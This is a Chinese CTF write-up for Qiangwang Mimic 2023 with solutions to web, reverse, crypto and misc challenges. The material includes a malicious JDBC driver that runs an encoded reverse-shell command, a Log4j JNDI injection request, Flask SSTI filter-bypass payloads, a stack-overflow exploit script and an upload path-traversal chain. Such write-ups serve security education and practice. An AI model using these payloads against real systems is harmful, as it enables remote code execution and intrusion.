强网拟态2023 By W&M
Web
noumisotuitennnoka
action=create&subdir=/f
action=zip&dev=/tmp//&subdir=/f
action=unzip&dev=/tmp//&subdir=/f
action=clean&dev=/tmp//&subdir=/.htaccess
17年的原题/tmp/ remove_path会去掉一个字符
/tmp//会去掉两个字符
var/www/html//tmp/f/.htaccess去掉/tmp+两个字符之后就变成
var/www/html/.htaccess
然后利用clean直接删.htaccess。直接访问backdoor.php
easyjava
首先就不让/app/开头。直接/%61%70%70/ url编码绕过
然后就打后端服务。spring cloud是应用名访问后端。
服务名是app。context-path是/app
所以请求路径就是
/app/原来的路由
明显的path+shiro的后缀 /upload/1.css就能绕过
FILE_NAME_REGEX_PATTERN正则。匹配的是是否存在.css
1.css.jar照样可以过
addDriver路由就是自定义classload添加一个jar包
validate路由是加载类然后jdbc连接
思路就是upload写jar到custom-drivers目录。然后addDeriver加载。然后validate newinstance触发
1、upload url解码path 然后写到任意目录。这里主要是配合类加载的逻辑。path为1.js。就要创建一个1.js的目录。然后在下面找jar。写文件的jar path为
File file = new File("static/custom-drivers/" + deDriverId);
File[] array = file.listFiles();
2、自定义driver要实现java.sql.Driver
Exp:
BP不对js发包。这里改成jss css1。抓包手动改
import requests
target="http://web-88af6ec2b7.challenge.xctf.org.cn/"
url = target+'app/staticResource/upload/%2563%2575%2573%2574%256f%256d%252d%2564%2572%2569%2576%2565%2572%2573%252f%2531%252e%256a%2573%252f1.css1'
file_path = 'mysql.css.jar'
proxies = {
"http": "127.0.0.1:8081",
"https": "127.0.0.1:8081",
}
with open(file_path, 'rb') as f:
files = {'file': f}
r = requests.post(url,proxies=proxies, files=files)
print(r.text)
print(requests.get(url=target+"app/addDriver/1.jss",proxies=proxies).text)
requests.post(url=target+"app/validate/1.jss",proxies=proxies,json={"id":"test","configuration":"{\"customDriver\":\"com.mysql.jdbc.Driver\",\"username\":\"test\",\"password\":\"password\",\"dataSourceType\":\"jdbc\",\"type\":\"mysql\",\"host\":\"127.0.0.1\",\"port\":\"3306\",\"dataBase\":\"test\"}","type":"mysql","username":"test","password":"test"})
mysql.css.jar
package com.mysql.jdbc;
import java.io.IOException;
import java.sql.Connection;
import java.sql.DriverPropertyInfo;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.Properties;
import java.util.logging.Logger;
public class Driver implements java.sql.Driver{
static {
try {
Runtime.getRuntime().exec("bash -c {echo,xxx}|{base64,-d}|{bash,-i}");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public Connection connect(String url, Properties info) throws SQLException {
return null;
}
@Override
public boolean acceptsURL(String url) throws SQLException {
return false;
}
@Override
public DriverPropertyInfo[] getPropertyInfo(String url, Properties info) throws SQLException {
return new DriverPropertyInfo[0];
}
@Override
public int getMajorVersion() {
return 0;
}
@Override
public int getMinorVersion() {
return 0;
}
@Override
public boolean jdbcCompliant() {
return false;
}
@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}
Reverse
fisher
main初始化部分有自定义逻辑。
反调试 + 反虚拟机, x64上插件可无视。
原理是利用cpp异常, 核心函数位于0x14002AF09:
__int64 __fastcall f_xxx(__int64 a1, struc_1 *a2)
{
// ...
sub_140009DF0();
sub_140009F50();
(*(a2->field_20->vtb + 24))(a2->field_20, &a2->field_A8);// call 0000000140004100
v3 = &a2->field_88;
if ( a2->field_A0 >= 0x10ui64 )
v3 = a2->field_88;
sub_140004620(v3, a2->field_98); // <--- [!]
v4 = &magic_1;
if ( qword_140042C38 >= 0x10 )
v4 = magic_1;
v5 = &a2->field_A8;
if ( a2->field_C0 >= 0x10ui64 )
v5 = a2->field_A8;
v6 = a2->field_B8;
if ( v6 == len_magic_1 && !memcmp(v5, v4, v6) )
{
v7 = sub_1400058E0(&a2->field_D0);
v8 = sub_140004F70(v7); // 'you win! your flag: flag{your input}'
v10 = &qword_140041330;
}
else
{
a2->field_30 = 0i64;
LOWORD(a2->field_38) = 0;
BYTE2(a2->field_38) = 0;
*(&a2->field_38 + 4) = _mm_load_si128(&dword_14003A850);
*(&a2->field_48 + 4) = _mm_load_si128(&dword_14003A810);
HIDWORD(a2->field_58) = 10;
LODWORD(a2->field_60) = 52;
v8 = sub_140004CC0(&a2->field_30); // "try again."
v10 = &qword_140041600;
// ...
}
0x140004CC0
0x140009DF0会修改0x140009F50处的代码为retn
预先校验input的sha1是否为2e95a5c5f9643df668d3965a6cdf19541bc0496b
以及固定的失败条件,方便触发异常
NtQueryInformationProcess(v26, ProcessBasicInformation, ProcessInformation, 0x30u, 0i64) != 0xC0000516)
STATUS_THREAD_NOT_RUNNING
验证函数位于0x140004100
分为2个阶段:
- 判断是否有2个相连且一致的字符, 如是, 则在其中添加'X'隔开, 如'AA' => 'AXA'
- 内置table作8*8的矩阵变换, 每次取2个字节, 根据x,y值映射到不同的位置
将结果与内置值进行比较。
solute.py:
def do_shift(data):
table = 'ghijklpqrstuvwxyzABCabcDEFdef0123GHI4567JKL+/MNOmnoPQRSXYZ8TUVW9'
out_s = ''
for i in range(0, len(data)//2):
ch_0 = data[2*i]
pos = table.index(ch_0)
x_0 = pos // 8
y_0 = pos % 8
ch_1 = data[2*i + 1]
pos = table.index(ch_1)
x_1 = pos // 8
y_1 = pos % 8
if x_0 == x_1:
out_s += table[8*x_0 + (y_0+1)%8]
out_s += table[8*x_1 + (y_1+1)%8]
else:
if y_0 != y_1:
out_s += table[8*x_0 + y_1]
out_s += table[8*x_1 + y_0]
else:
out_s += table[8*((x_0-1)%8) + y_0]
out_s += table[8*((x_1-1)%8) + y_1]
print(out_s)
return out_s
def do_shift_r(data):
table = 'ghijklpqrstuvwxyzABCabcDEFdef0123GHI4567JKL+/MNOmnoPQRSXYZ8TUVW9'
out_s = ''
for i in range(0, len(data)//2):
ch_0 = data[2*i]
pos = table.index(ch_0)
x_0 = pos // 8
y_0 = pos % 8
ch_1 = data[2*i + 1]
pos = table.index(ch_1)
x_1 = pos // 8
y_1 = pos % 8
if x_0 == x_1:
out_s += table[8*x_0 + (y_0-1)%8]
out_s += table[8*x_1 + (y_1-1)%8]
else:
if y_0 != y_1:
out_s += table[8*x_0 + y_1]
out_s += table[8*x_1 + y_0]
else:
out_s += table[8*((x_0-1)%8) + y_0]
out_s += table[8*((x_1-1)%8) + y_1]
# print(out_s)
return out_s
def do_solute(data):
out = do_shift_r(enc_flag)
print('[+] flag = flag{%s}'%(out.replace('X', '')))
enc_flag = 'N17EHf1DWHD40DWH/f79E05EfIH1E179E1'
do_solute(enc_flag)
faalua
输入u, d, l, r对应上下左右, 控制字符P
不被z碰到。
AngelScript 引擎
Ref:
- https://niemand.com.ar/2019/02/07/scripting-engines-inside-games-you-can-hack-them-too-angelscript/
- https://qiita.com/unknown_ds/items/8d64aaafd8e5ccd9ab14
一些推测的函数:
- 0x140032DD0: As引擎相关
- 0x14001F170: EndGame, 打印结果
- 0x140035AF0: gift
- srand了0x202310
- 0x14001FBB0: 游戏对象的初始化
- 0x14001FA10: 实际游戏运行, 一个do while循环
- 0x14001F350: 键值读取
- 0x14002124D: 打印hacker?字符串
被僵尸吃掉会跳到这个函数,然后修改跳转到该if块
随后跳到0x140035AF0: gift函数,这里有输入flag
用0x1400410A2
处的call r14
进行调用, 在call gift之前, call了send(0x1400336D0
)
Enc flag的长度为0x26:
26 00 00 00 26 00 00 00 27 FD 94 28 97 7D CB D3
31 DD 0E CC 97 C9 A8 05 AE AF 61 D0 88 F8 D7 EE
16 36 67 3A 8C 35 97 2C 22 17 DD EF 9A 96 00 00
000000014010A5F4
使用了输入的flag, 似乎是As引擎的一部分 (需要解pre-compiled as脚本?)
0x140218020
解密后的结果, 和题目提供的脚本文件类型一致。
通过该数据, 替换scriptengine, 进行flag的验证逻辑。
后面要撕as引擎的vm, 或者有类似unpython的工具, (或者偷鸡, 追数据流观察输出
https://www.angelcode.com/angelscript/sdk/files/angelscript_2.36.1.zip
官方的例子里面有这个游戏,应该是一样的,可能就只是改成了bytecode
没有反编译但是github有个反汇编的程序需要自己编译
https://github.com/asumagic/angelscript-disassembler/
解题总结:
- 游戏部分逻辑的执行, 包括对题目提供的文件的使用
- 当游戏结束时, 调用EndGame函数;
win
时, 调用虚函数0x140033810
(该类的ctor为0x140031E70
) - 在
0x140033810
:- 解密as脚本, 并替换原as脚本, 将as脚本重新加密
- 调用
void main()
执行as, 进行flag的验证逻辑
稍微跟了一下虚拟机,算法比较简单,就直接追数据流了
0x14010BCDD为asBC_Thiscall1指令,在这里可以抓到一些函数调用跟数据流,算法比较简单
附上脚本
from Crypto.Cipher import ARC4
aessbox = [0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16]
oritable = b'0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
shifttable = b'OPQRSTUVWXabcdefghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJKLMN'
rc4 = ARC4.new(b'deadbeef')
enc = bytearray.fromhex('27fd9428977dcbd331dd0ecc97c9a805aeaf61d088f8d7ee1636673a8c35972c2217ddef9a96')
# 数组内xor
for i in range(0x26)[::-1]:
enc[i] ^= enc[0x26 - i - 1]
print('XOR:', enc.hex())
# 置换表,表用的aes的
tmp = enc
for i in range(0x26):
idx = tmp[i]
enc[i] = aessbox.index(idx)
print('SubBytes:', enc.hex())
# RC4解密
rc4 = ARC4.new(b'deadbeef')
enc = bytearray(rc4.decrypt(enc))
print('RC4:', enc.hex())
# 字符表移位,这里就直接写成置换表了
for i in range(0x26):
if enc[i] not in shifttable:
continue
enc[i] = oritable[shifttable.index(enc[i])]
print('flag:', enc.decode('utf-8'))
Misc
Welcome
flag{Mimic_yyds&G0d_JoB_CTFer~}
国际象棋与二维码
一眼丁真,应该是拿棋盘做mask了,找gpt直接生成一个棋盘图
from PIL import Image, ImageDraw
# 创建一个空白的500x500的图像
image = Image.new("RGB", (500, 500), "white")
# 计算每个格子的大小
cell_size = 500 / 49
# 在图像上绘制交错的黑白格子
draw = ImageDraw.Draw(image)
for i in range(49):
for j in range(49):
x = j * cell_size
y = i * cell_size
if (i + j) % 2 == 0:
draw.rectangle(
[(x, y), (x + cell_size, y + cell_size)], fill="black")
# 保存图像
image.save("checkerboard.png")
然后xor就行
Crypto
一眼看出
r空间过小可被遍历
from Crypto.Util.number import long_to_bytes
import gmpy2
n = 121027298948349995679677982412648544403333177260975245569073983061538581058440163574922807151182889153495253964764966037308461724272151584478723275142858008261257709817963330011376266261119767294949088397671360123321149414700981035517299807126625758046100840667081332434968770862731073693976604061597575813313
p = None
q = None
for r in [37, 41, 43, 47, 53, 59, 61]:
a = 11001240791308496565411773845509754352597481464288272699325231395472137144610774645372812149675141360600469640492874223541765389441131365669731006263464699
p = gmpy2.next_prime(a - r)
q = gmpy2.next_prime(gmpy2.next_prime(a) + r)
if p * q == n:
print("r:", r)
break
e = 65537
c = 42256117129723577554705402387775886393426604555611637074394963219097781224776058009003521565944180241032100329456702310737369381890041336312084091995865560402681403775751012856436207938771611177592600423563671217656908392901713661029126149486651409531213711103407037959788587839729511719756709763927616470267 # 您的密文
# 计算 n 和 φ(n)
n = p * q
phi_n = (p - 1) * (q - 1)
# 计算私钥 d
d = gmpy2.invert(e, phi_n)
# 解密消息
m = pow(c, d, n)
decrypted_message = long_to_bytes(m)
print(decrypted_message)
Mimic
DNS缓存投毒
拟态控制器
canary泄露+栈溢出
from pwn import *
import traceback
import sys
context.log_level='debug'
context.arch='amd64'
# context.arch='i386'
pwn_file = None
libc = None
def get_file():
global pwn_file
pwn_file=ELF('./controller_pwn', checksec = False)
def get_libc():
global libc
if context.arch == 'amd64':
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
elif context.arch == 'i386':
try:
libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
except:
libc=ELF("/lib32/libc.so.6", checksec = False)
def get_sh(Use_other_libc = False , Use_ssh = False):
global libc
if args['REMOTE'] :
if Use_other_libc :
libc = ELF("./libc.so.6", checksec = False)
if Use_ssh :
s = ssh(sys.argv[3],sys.argv[1], sys.argv[2],sys.argv[4])
return s.process("./controller_pwn")
else:
return remote(sys.argv[1], sys.argv[2], ssl=True)
else:
return process("./controller_pwn")
def get_address(sh,info=None,start_string=None,address_len=None,end_string=None,offset=None,int_mode=False):
if start_string != None:
sh.recvuntil(start_string)
if int_mode :
return_address = int(sh.recvuntil(end_string,drop=True),16)
elif address_len != None:
return_address = u64(sh.recv()[:address_len].ljust(8,'\x00'))
elif context.arch == 'amd64':
return_address=u64(sh.recvuntil(end_string,drop=True).ljust(8,'\x00'))
else:
return_address=u32(sh.recvuntil(end_string,drop=True).ljust(4,'\x00'))
if offset != None:
return_address = return_address + offset
if info != None:
log.success(info + str(hex(return_address)))
return return_address
def get_flag(sh):
sh.sendline('cat /flag')
return sh.recvrepeat(0.3)
def get_gdb(sh,gdbscript=None,stop=False):
gdb.attach(sh,gdbscript=gdbscript)
if stop :
raw_input()
def Multi_Attack():
# testnokill.__main__()
return
def Attack(sh=None,ip=None,port=None):
if ip != None and port !=None:
try:
sh = remote(ip,port)
except:
return 'ERROR : Can not connect to target server!'
try:
get_file()
get_libc()
# Your Code here
sh.recvuntil('will execute the controller query command:')
sh.send('A' * 0x20 + "Canary-->")
# get_gdb(sh,stop=True)
canary = get_address(sh=sh,start_string='Canary-->',address_len=7,info='canary : ')
sh.send('A' * 0x28 + p64(canary * 0x100) + p64(0xDEADBEEF) + '\x0A')
sh.interactive()
flag=get_flag(sh)
# try:
# Multi_Attack()
# except:
# throw('Multi_Attack_Err')
return flag
except Exception as e:
traceback.print_exc()
sh.close()
return 'ERROR : Runtime error!'
if __name__ == "__main__":
sh = get_sh()
flag = Attack(sh=sh)
sh.close()
log.success('The flag is ' + re.search(r'flag{.+}',flag).group())
logInject
log4j JNDI注入
直接jndiexploit 反弹shell读Flag即可
POST /vul/test/post HTTP/1.1
Host: web-ccf54abf8e.challenge.xctf.org.cn
Content-Length: 70
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
cmd: bash -c {echo,xxx}|{base64,-d}|{bash,-i}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://web-ccf54abf8e.challenge.xctf.org.cn
Referer: http://web-ccf54abf8e.challenge.xctf.org.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ko;q=0.7,ja;q=0.6
Connection: close
payload=%24%7Bjndi%3Aldap%3A%2F%2Fxxx:1389/Basic/SpringEcho%7D
用户登记系统
Flask ssti,过滤了很多,例如 |、'、popen、空格 等等
切换到tmp目录的Payload:
{{"".__class__.__base__.__subclasses__()[140].__init__.__globals__["__builtins__"]["__impo""rt__"]("o""s").chdir("".__class__.__base__.__subclasses__()[140].__init__.__globals__["__builtins__"]["__impo""rt__"]("o""s").listdir("..")[9])}}
猜测题目应该对于响应内容有检测,没办法直接列出/tmp目录下的文件,一位一位获取flag文件名:
name={{"".__class__.__base__.__subclasses__()[140].__init__.__globals__["po""pen"]("ls").read()[3]}}
读取Flag,对文件内容进行hex编码来绕过对于响应内容的检测:
{{"".__class__.__base__.__subclasses__()[140].__init__.__globals__["__builtins__"].open("fl""ag").read().encode().hex()}}
find me and crack me
<!--
KEY:N2RlMzhmM2MzZDNiYWE3Y2E1OGEzNjZmMDk1Nzc1ODY=
encrypt word: YWY2NTRiZTc5ZjkyNGE2ZDA3MGFlYjE5ZWMxN2U4Y2NjMTJkNWExYWY2NTc0YzE4YmMyYzI3YWFkZjZmZjRhN2Y4ZDUwOTBmMTVkNDBiM2Y2ZTFhMzIxMDNmOGMwMjgxNmJmZTMzMTY4ZGFmNzJkMzBiOTAwMTgxYzliMGQ5MGEyNmNmNDZiZGUyNjA4NDE5YWM1MmE0NmVjZDQwYjlhZWYwMzczYjcyODExNTg0YzE3MjJmYzU4Y2NmYjhlYzM4N2RmZTc2ODRjOTIzYWVlMWM1ZGU0NWI5NDIxMThjYjBjMGYwYzIwNWJkODA0N2M3MjczY2RiYjYwNWQwMzMxNzcwZjk3NDM0M2ZhN2FiNjQ1YWVkMzQ2MjRkMzQ5ODRkODU2YWY2MzkwMWUxZDU0MjFjMWRmZDcyMjUxZDBkOTU=
-->
KEY Base64解码后进行NTML解密得到 secrets
Encrypt word Base64解码后得到
af654be79f924a6d070aeb19ec17e8ccc12d5a1af6574c18bc2c27aadf6ff4a7f8d5090f15d40b3f6e1a32103f8c02816bfe33168daf72d30b900181c9b0d90a26cf46bde2608419ac52a46ecd40b9aef0373b72811584c1722fc58ccfb8ec387dfe7684c923aee1c5de45b942118cb0c0f0c205bd8047c7273cdbb605d0331770f974343fa7ab645aed34624d34984d856af63901e1d5421c1dfd72251d0d95
DES-ECB解密得到:
1.maybe used first url get random:
/mimic_storage
2.maybe used second url get flag:
/getflag?sec=random&path=xxxx
xxx is:
MVhuOtClaoE5899iOuiSWkvqxsrRimmb
根据步骤访问得到:
request url is /mimic_storage
random is: 127016864
用户鉴权
遵循规则即可
import requests
import json
url = "http://web-0689335927.challenge.xctf.org.cn"
path = "/nudm-ueau"
rep = requests.get(f"{url}{path}")
print(json.dumps(rep.json()))
data = {
"servingNetworkName": "5G:mnc000.mcc460.3gppnetwork.org",
"ausfInstanceId" : "ausf-1",
}
param = {
"supiOrSuci": "imsi-460-00-0-0-0-0123456001",
}
path = "/nudm-ueau/v1/suci-0-460-00-0-0-0-0123456001/security-information/generate-auth-data"
rep = requests.post(f"{url}{path}", json=data, params=param)
print(json.dumps(rep.json()))
path = "/nudm-ueau/v1/suci-0-460-00-0-0-0-0123456001/ctf-data?flag=32gsdg679kad"
rep = requests.post(f"{url}{path}")
print(json.dumps(rep.json()))
Tbox Can
明文提取即可
import csv
with open('can_data.csv', 'r', newline='') as csvfile:
spamreader = csv.reader(csvfile, delimiter=' ', quotechar='|')
strr = ""
for row in spamreader:
row = row[0].split(',')
if row[1] == '"data_field"':
strr += chr(int(row[6],16))
else:
strr += '!'
print(strr)
# PASS:L0GIC_ANA1YSIS_CAN_FOR_FUN
V2XSec
新型车联网安全网络协议破解(阶段一)
Gitlab CVE-2021-22205 复现:https://github.com/inspiringz/CVE-2021-22205
获得Vehicle的所在目录:
读取Flag: